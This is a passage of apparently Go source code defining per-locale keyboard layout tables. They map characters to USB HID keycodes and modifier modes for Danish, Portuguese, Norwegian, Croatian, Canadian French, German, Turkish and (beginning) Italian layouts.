15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 53}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 100, Mode: 64}, "`": Command{HID: 46, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 36, Mode: 64}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 32, Mode: 64}, "'": Command{HID: 45}, "+": Command{HID: 30, Mode: 2}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 47, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 53, Mode: 64}, "Ä": Command{HID: 52, Mode: 2}, "ß": Command{HID: 45}, "Ü": Command{HID: 47, Mode: 2}, "ä": Command{HID: 52}, "Ö": Command{HID: 51, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 32, Mode: 2}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, "ö": Command{HID: 51}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 28, Mode: 2}, "^": Command{HID: 46}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "°": Command{HID: 53, Mode: 2}, "v": Command{HID: 25}, "z": Command{HID: 28}, "~": Command{HID: 46, Mode: 64}, "ü": Command{HID: 47}, "!": Command{HID: 48, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 29, Mode: 2}, "]": Command{HID: 48, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 29}, "}": Command{HID: 49, Mode: 64}, }, "DK": { "ð": Command{HID: 7, Mode: 64}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 53, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 100, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 32, Mode: 64}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 46, Mode: 64}, "BACKSPACE": Command{HID: 42}, "«": Command{HID: 33}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 49}, "+": Command{HID: 45}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "Æ": Command{HID: 51, Mode: 2}, "Å": Command{HID: 47, Mode: 2}, "Ø": Command{HID: 52, Mode: 2}, "ß": Command{HID: 22, Mode: 64}, "ø": Command{HID: 52}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 49, Mode: 2}, "æ": Command{HID: 51}, "å": Command{HID: 47}, ".": Command{HID: 55}, "2": Command{HID: 31}, "þ": Command{HID: 23, Mode: 64}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "¤": Command{HID: 33, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "¨": Command{}, "n": Command{HID: 17}, "´": Command{}, "µ": Command{HID: 16, Mode: 64}, "r": Command{HID: 21}, "v": Command{HID: 25}, "½": Command{HID: 53}, "z": Command{HID: 29}, "~": Command{HID: 48, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "PT": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 33, Mode: 64}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 53}, "`": Command{HID: 48, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 32, Mode: 64}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 53, Mode: 2}, "BACKSPACE": Command{HID: 42}, "«": Command{HID: 46}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 45}, "+": Command{HID: 47}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "»": Command{HID: 46, Mode: 2}, "Ç": Command{HID: 51, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 47, Mode: 2}, "ç": Command{HID: 51}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 50, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "ª": Command{HID: 52, Mode: 2}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "º": Command{HID: 52}, "~": Command{HID: 50}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "NO": { "ð": Command{HID: 7, Mode: 64}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 53, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 46}, "`": Command{HID: 46, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 32, Mode: 64}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 53}, "BACKSPACE": Command{HID: 42}, "«": Command{HID: 33}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 49}, "+": Command{HID: 45}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "Æ": Command{HID: 52, Mode: 2}, "Å": Command{HID: 47, Mode: 2}, "Ø": Command{HID: 51, Mode: 2}, "ß": Command{HID: 22, Mode: 64}, "ø": Command{HID: 51}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 49, Mode: 2}, "æ": Command{HID: 52}, "å": Command{HID: 47}, ".": Command{HID: 55}, "2": Command{HID: 31}, "þ": Command{HID: 23, Mode: 64}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 48, Mode: 2}, "¤": Command{HID: 33, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "µ": Command{HID: 16, Mode: 64}, "r": Command{HID: 21}, "v": Command{HID: 25}, "½": Command{HID: 53}, "z": Command{HID: 29}, "~": Command{HID: 48, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "HR": { "-": Command{HID: 56}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 25, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 16, Mode: 64}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 20, Mode: 64}, "`": Command{HID: 36, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 26, Mode: 64}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 45}, "+": Command{HID: 46}, "/": Command{HID: 36, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 9, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 5, Mode: 64}, "ß": Command{HID: 52, Mode: 64}, "×": Command{HID: 48, Mode: 64}, "\"": Command{HID: 31, Mode: 2}, "ˇ": Command{HID: 31, Mode: 64}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 46, Mode: 2}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, "˛": Command{HID: 35, Mode: 64}, "˙": Command{HID: 37, Mode: 64}, ":": Command{HID: 55, Mode: 2}, "÷": Command{HID: 47, Mode: 64}, "˝": Command{HID: 39, Mode: 64}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 28, Mode: 2}, "^": Command{HID: 32, Mode: 64}, "¤": Command{HID: 49, Mode: 64}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "¨": Command{HID: 45, Mode: 64}, "n": Command{HID: 17}, "´": Command{HID: 38, Mode: 64}, "r": Command{HID: 21}, "°": Command{HID: 34, Mode: 64}, "v": Command{HID: 25}, "z": Command{HID: 28}, "¸": Command{HID: 46, Mode: 64}, "~": Command{HID: 30, Mode: 64}, "Ł": Command{HID: 15, Mode: 64}, "ł": Command{HID: 14, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "š": Command{HID: 47}, "Š": Command{HID: 47, Mode: 2}, "Ž": Command{HID: 49, Mode: 2}, "ž": Command{HID: 49}, "5": Command{HID: 34}, "9": Command{HID: 38}, "˘": Command{HID: 33, Mode: 64}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "Č": Command{HID: 51, Mode: 2}, "č": Command{HID: 51}, "E": Command{HID: 8, Mode: 2}, "Ć": Command{HID: 52, Mode: 2}, "ć": Command{HID: 52}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 29, Mode: 2}, "]": Command{HID: 10, Mode: 64}, "Đ": Command{HID: 48, Mode: 2}, "đ": Command{HID: 48}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "1": Command{HID: 30}, "u": Command{HID: 24}, "y": Command{HID: 29}, "}": Command{HID: 17, Mode: 64}, }, "CA": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 49}, "@": Command{HID: 31, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 18, Mode: 64}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 53, Mode: 64}, "`": Command{HID: 52}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 32, Mode: 64}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 53, Mode: 2}, "¯": Command{HID: 53, Mode: 64}, "BACKSPACE": Command{HID: 42}, "«": Command{Mode: 2}, "#": Command{HID: 53}, "'": Command{HID: 54, Mode: 2}, "+": Command{HID: 46, Mode: 2}, "/": Command{HID: 32, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 51}, "?": Command{HID: 35, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "³": Command{HID: 38, Mode: 64}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 47, Mode: 64}, "_": Command{HID: 45, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 52, Mode: 64}, "»": Command{}, "É": Command{HID: 56, Mode: 2}, "é": Command{HID: 56}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 36, Mode: 2}, "*": Command{HID: 37, Mode: 2}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 51, Mode: 2}, ">": Command{HID: 49, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 47}, "¤": Command{HID: 34, Mode: 64}, "¦": Command{HID: 36, Mode: 64}, "b": Command{HID: 5}, "¢": Command{HID: 33, Mode: 64}, "f": Command{HID: 9}, "¬": Command{HID: 35, Mode: 64}, "­": Command{HID: 55, Mode: 64}, "j": Command{HID: 13}, "¨": Command{HID: 48, Mode: 2}, "n": Command{HID: 17}, "´": Command{HID: 56, Mode: 64}, "µ": Command{HID: 16, Mode: 64}, "¶": Command{HID: 19, Mode: 64}, "r": Command{HID: 21}, "°": Command{Mode: 64}, "±": Command{HID: 30, Mode: 64}, "²": Command{HID: 37, Mode: 64}, "v": Command{HID: 25}, "¼": Command{HID: 39, Mode: 64}, "½": Command{HID: 45, Mode: 64}, "¾": Command{HID: 46, Mode: 64}, "z": Command{HID: 29}, "¸": Command{HID: 48}, "~": Command{HID: 51, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 39, Mode: 2}, "-": Command{HID: 45}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 46}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 48, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 49, Mode: 64}, }, "DE": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 20, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 32, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 45, Mode: 64}, "`": Command{HID: 46, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 100, Mode: 64}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 49}, "'": Command{HID: 49, Mode: 2}, "+": Command{HID: 48}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "³": Command{HID: 32, Mode: 64}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "Ä": Command{HID: 52, Mode: 2}, "ß": Command{HID: 45}, "Ü": Command{HID: 47, Mode: 2}, "ä": Command{HID: 52}, "Ö": Command{HID: 51, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 48, Mode: 2}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, "ö": Command{HID: 51}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 28, Mode: 2}, "^": Command{HID: 53}, "¤": Command{HID: 8, Mode: 64}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "°": Command{HID: 53, Mode: 2}, "²": Command{HID: 31, Mode: 64}, "v": Command{HID: 25}, "z": Command{HID: 28}, "~": Command{HID: 48, Mode: 64}, "ü": Command{HID: 47}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 29, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 29}, "}": Command{HID: 39, Mode: 64}, }, "TR": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 49}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 54, Mode: 2}, "@": Command{HID: 20, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 45, Mode: 64}, "`": Command{HID: 49, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 49, Mode: 2}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 32, Mode: 64}, "'": Command{HID: 31, Mode: 2}, "+": Command{HID: 33, Mode: 2}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 49, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 46, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "\"": Command{HID: 53}, "&": Command{HID: 36, Mode: 2}, "*": Command{HID: 45}, ".": Command{HID: 56}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 56, Mode: 2}, ">": Command{HID: 55, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 32, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "~": Command{HID: 48, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 46}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 52}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "IT": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": 